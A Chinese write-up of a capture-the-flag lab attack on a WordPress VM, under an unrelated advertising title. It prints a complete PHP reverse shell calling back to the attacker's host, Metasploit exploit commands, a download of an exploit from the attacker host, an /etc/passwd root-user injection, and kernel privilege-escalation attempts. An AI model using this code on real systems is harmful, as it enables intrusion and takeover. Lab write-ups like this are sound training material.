邯鄲建設(shè)網(wǎng)站的公司廣告引流推廣平臺
提示:本文記錄了博主的一次普通的打靶經(jīng)歷
目錄
- 1. 主機發(fā)現(xiàn)
- 2. 端口掃描
- 3. 服務枚舉
- 4. 服務探查
- 4.1 FTP服務探查
- 4.2 Apache服務探查
- 4.2.1 wpscan掃描
- 4.2.2 Metasploit神器
- 4.2.3 手工探查頁面
- 4.2.3.1 Appearance Editor
- 4.2.3.2 Plugins Editor
- 5. 提權(quán)
- 5.1 系統(tǒng)信息枚舉
- 5.2 定時任務枚舉
- 5.3 /etc/passwd文件探查
- 5.4 枚舉可執(zhí)行文件
- 5.4.1 ntfs-3g提權(quán)
- 5.4.2 ping6提權(quán)
- 5.5 EXP提權(quán)
- 5.5.1 40871.c
- 5.5.2 41458.c
- 5.5.3 43345.c
- 5.5.4 45553.c
- 5.5.5 45010.c
- 5.5.6 44298.c
- 5.5.7 43418.c & 47169.c
1. 主機發(fā)現(xiàn)
目前只知道目標靶機在65.xx網(wǎng)段,通過如下的命令,看看這個網(wǎng)段上在線的主機。
$ nmap -sP 192.168.65.0/24
鎖定目標靶機地址為192.168.65.140。
2. 端口掃描
通過下面的命令進行一下全端口掃描,看一下靶機都開放了哪些端口。
$ sudo nmap -p- 192.168.65.140
嗯,開的端口不多,等會兒逐個試試看。
3. 服務枚舉
通過下面的命令,枚舉一下開放的端口上都運行了什么服務。
$ sudo nmap -p21,22,80 -A -sT -sV 192.168.65.140
也都是一些常規(guī)的服務,稍等會兒逐個探查一下看看。
4. 服務探查
4.1 FTP服務探查
直接嘗試匿名登錄一下看看。
$ ftp 192.168.65.140
嗯,可以匿名登錄,接下來看看FTP上有沒有我們感興趣的內(nèi)容。
整個FTP服務下是空的,沒有找到任何內(nèi)容,暫時放一邊。
4.2 Apache服務探查
直接用瀏覽器訪問一下看看。
額,是一個類似于蛇的三維動圖,點擊以后,會連接到一個/2.gif的三維動圖,如下圖。
然后就沒有任何其它內(nèi)容了,還是遍歷一下目錄吧。
$ dirsearch -u http://192.168.65.140
內(nèi)容也不少,逐個進去看看。
首先,通過/CHANGELOG頁面可以知道,80端口上運行的是基于Apache的一個叫LEPTON CMS的服務。
繼續(xù)往下看,在/INSTALL頁面下可以知道,服務用到了PHP和MySQL,并且關(guān)閉了PHP的安全模式。
繼續(xù)往下,通過/robots.txt可以發(fā)現(xiàn)站點下還有個/wordpress目錄,跟我們目錄枚舉的結(jié)果是一樣的。
接下來有wordpress的登錄頁面/wordpress/wp-login.php
還有wordpress的主頁/wordpress。
4.2.1 wpscan掃描
既然有wordpress服務,那我們就用wpscan掃描一下看看。
$ wpscan --url http://192.168.65.140/wordpress
發(fā)現(xiàn)的內(nèi)容不少,還是先看看登錄頁面會不會枚舉出用戶或者爆破出密碼吧。很幸運的是在嘗試admin用戶的時候,直接通過弱密碼admin登錄進去了。
直接省掉了好多事,快速瀏覽一下wp-admin控制臺,可以添加Media,也可以添加Plugins,這樣我們就可能通過添加Media構(gòu)建反彈shell,或者添加有漏洞的Plugin來做進一步的開發(fā)。
我們直接吧之前構(gòu)建的payload.php上傳試試看,payload文件的內(nèi)容如下。
GIF8;
<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.65.202'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>
嗯,上傳失敗了,沒有逃過wordpress的格式檢查,后來嘗試用zip格式,仍然失敗。接下來還是使用一下Metasploit神器吧。
4.2.2 Metasploit神器
先搜索一下關(guān)鍵字wordpress試試看。
還真是不少,篩選出所有Rank為excellent并且Check為Yes的項,如下。
結(jié)合前面的wpscan搜索結(jié)果,序號為11的xmlRPC的漏洞可能是存在的我們先試試看,再不行就安裝一個由漏洞的插件。
msf6 > use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set PATH /wordpress/xmlrpc.php
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set RHOSTS 192.168.65.140
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set payload payload/cmd/unix/reverse_php_ssl
msf6 exploit(unix/webapp/php_xmlrpc_eval) > run
失敗了,還是看看嘗試安裝一個有漏洞的plugin吧,這里用一下backup guard。
msf6 > use exploit/multi/http/wp_plugin_backup_guard_rce
msf6 exploit(multi/http/wp_plugin_backup_guard_rce) > show options
從上面的輸出來看,需要安裝小于1.6.0版本的插件,在插件管理里面竟然沒有搜索到,直接下載(https://downloads.wordpress.org/plugin/backup.1.5.8.zip
),然后上傳到靶機上。
這條路子也失敗了,貌似不允許創(chuàng)建目錄,如下圖。
4.2.3 手工探查頁面
到此為止已經(jīng)黔驢技窮了,實在沒有找到合適的突破口,還是回到admin登錄后的頁面手工仔細點擊一下看看吧。
功夫不負有心人,我們在Appearance和Plugins菜單下面都發(fā)現(xiàn)了Editor的入口,并且都可以支持編輯php的內(nèi)容,如下圖。
這樣一來,貌似我們可以直接在編輯php腳本的時候?qū)懭敕磸梥hell,接下來我們分別在這兩處試一下。
4.2.3.1 Appearance Editor
直接將我們前面的payload.php文件中的<?php ?>中間的內(nèi)容拷貝到下圖中第一個所示的404.php中,注意語法。
拷進去之后,先不急著保存(防止一保存就自動執(zhí)行,其實我也不懂,瞎猜的),在kali上開啟4444端口的監(jiān)聽,然后再回來點擊頁面底下的“Update File”按鈕。
提示更新成功了,但是并沒有建立反彈shell,我們嘗試從瀏覽器觸發(fā)一個能夠返回404的請求試試(就請求這個192.168.65.140/wordpress/wp-admin/theme-editor.php?file=404.php
試試看吧)。
請求成功了,但是仍然沒有反彈,看來光請求沒有,得觸發(fā)http 404才可以,我們請求一下192.168.65.140/wordpress/wp-admin/theme-editorrtrrr.php
(這個頁面肯定不存在)試試看。
這次返回404了,但是仍然沒有反彈,不應該啊。經(jīng)過仔細分析,根本原因還是不了解wordpress的themes的機制,這個頁面的真實地址應該是http://192.168.65.140/wordpress/wp-content/themes/twentyfourteen/404.php
,直接訪問這個地址的時候,成功建立的反彈shell。
4.2.3.2 Plugins Editor
接下來,我們在Plugins的Editor下面通過同樣的手法試一下,細節(jié)不再贅述,如下圖。
可惜搞了半天也不知道這些內(nèi)容寫進去以后怎么保存,只能放棄,接下來還是好好研究提權(quán)吧。
5. 提權(quán)
先嘗試一下弱密碼提權(quán)。
通過下面的命令優(yōu)化一下shell試試看。
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"
嗯,這次可以了,不存在弱密碼。
5.1 系統(tǒng)信息枚舉
$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT
目標靶機是64位的Ubuntu 16.04.2 LTS版本,內(nèi)核是4.4.0-62-generic。
5.2 定時任務枚舉
沒有我們感興趣的內(nèi)容。
5.3 /etc/passwd文件探查
www-data@ubuntu:/$ cat /etc/passwd | grep -v "nologin"
除了root用戶之外,還有一個用戶btrisk值得我們注意一下。接下來嘗試向passwd文件中寫入一個用戶試試看。
$ echo "testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash" >> /etc/passwd
看來想多了,確實沒有權(quán)限,后面需要的時候爆破一下這個用戶。
5.4 枚舉可執(zhí)行文件
先直接用一下sudo -l試試看。
當前用戶不具備直接sudo的權(quán)限,需要密碼才行。還是枚舉一下root用戶所有,其它用戶可執(zhí)行的程序吧。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
查詢結(jié)果竟然是空的,再通過下面的命令試試看。
www-data@ubuntu:/$ find / -user root -perm -4000 2>/dev/null
這次搜出來了一些,上面標識出來的兩個可以重點關(guān)注一下。
5.4.1 ntfs-3g提權(quán)
google了一下,這個程序確實可以用于提權(quán),主要是基于CVE漏洞CVE-2017-0358。ntfs-3g是一個NTFS讀寫驅(qū)動程序,具備setuid的權(quán)限,,該驅(qū)動在調(diào)用modprobe時沒有初始化環(huán)境變量,本地用戶可以基于這一點進行提權(quán),該漏洞存在于load_fuse_module()函數(shù)中。
參照searchsploit里面編號為41356的內(nèi)容(https://www.exploit-db.com/exploits/41356
),先從https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
下載對應的ntfs-3g-modprobe-unsafe.tar文件。
通過下面的命令在卡里上啟動http服務,用于上傳我們下載的tar文件
$ python3 -m http.server 80
通過下面的命令將tar文件下載到目標靶機的/tmp目錄下。
www-data@ubuntu:/$ wget http://192.168.65.202/ntfs-3g-modprobe-unsafe.tar -O /tmp/ntfs-3g-modprobe-unsafe.tar
然后執(zhí)行下面的命令。
www-data@ubuntu:/tmp$ chmod 775 ntfs-3g-modprobe-unsafe.tar
www-data@ubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar
www-data@ubuntu:/tmp$ cd ntfs-3g-modprobe-unsafe
www-data@ubuntu:/tmp/ntfs-3g-modprobe-unsafe$ ./compile.sh
結(jié)果在執(zhí)行編譯的時候出錯了,在靶機上編譯不了,我們用同樣的方法,在本地的ubuntu(本地是16.04.7 LTS)上編譯試試看。
在本地的Ubuntu上編譯成功了,如上圖所示,我們把這整個目錄重新打包上傳到目標靶機試試看。
www-data@ubuntu:/tmp$ tar xf ntfs-3g-modprobe-unsafe.tar
www-data@ubuntu:/tmp/ntfs-3g-modprobe-unsafe$ chmod 775 *
額,執(zhí)行失敗了,可能是漏洞被堵上了,在本地的Ubuntu上試試看。
確實也是不成功的,看來這個EXP還是有些問題。接下來試試searchsploit里面編號為41240的EXP。
這個在目標靶機上是提權(quán)失敗的,需要make工具,靶機上應該是沒有,我們在本地Ubuntu上試試看。
同樣是失敗的,不糾結(jié)了,還是試試ping6吧。
5.4.2 ping6提權(quán)
google了一下,沒有找到ping6提權(quán)的相關(guān)記錄,暫時放棄,直接跳過。
5.5 EXP提權(quán)
沒有辦法了,還是搜索一下對應的EXP試試看吧。
對應的內(nèi)容還是比較多了,逐個試試吧,為了提高效率,每個exp都是先在本地Ubuntu上編譯。
5.5.1 40871.c
第一個40871失敗。
5.5.2 41458.c
嗯,比較幸運,第二個,41458提權(quán)成功,進一步驗證一下。
確實提權(quán)成功了,獲取一下flag。
額,竟然沒有發(fā)現(xiàn)flag,然后直接cd到/root目錄看看,發(fā)現(xiàn)沒反應,靶機掛掉了,重啟試試,獲取flag的過程中必然會掛掉,可能是41458這個EXP提權(quán)還有些缺陷。
5.5.3 43345.c
竟然是上圖所示的樣子,數(shù)字到了2000多都沒有結(jié)束,在本地的Ubuntu下也是同樣的現(xiàn)象,果斷放棄。
5.5.4 45553.c
一開始看著都是很正常的,最終還是失敗了,看來還是EXP的原因,在本地Ubuntu上也是同樣的現(xiàn)象。
5.5.5 45010.c
接下來試試45010。
貌似45010也是可以提權(quán)成功的,進一步驗證一下。
妥妥的,再次嘗試查找一下flag。
額,還是沒有flag信息,不過這次靶機是沒有掛掉的,還在正常運行著。會不會跟之前的docker提權(quán)一樣,放到了/mnt/root下面呢,試試看。
也是沒有的,太異常了,全盤搜索試試看。
真是見鬼了。先不管了,后面還剩三個EXP,索性都試試吧。
5.5.6 44298.c
我擦,這個簡直是暴力小蘿莉啊,進一步試試看。
順暢的很
5.5.7 43418.c & 47169.c
嗯,這個不行,在本地的Ubuntu上也是失敗的,再試試最后一個47169。
也失敗了,不糾結(jié)了,本次打靶到此為止,遺憾的是一直沒找到flag。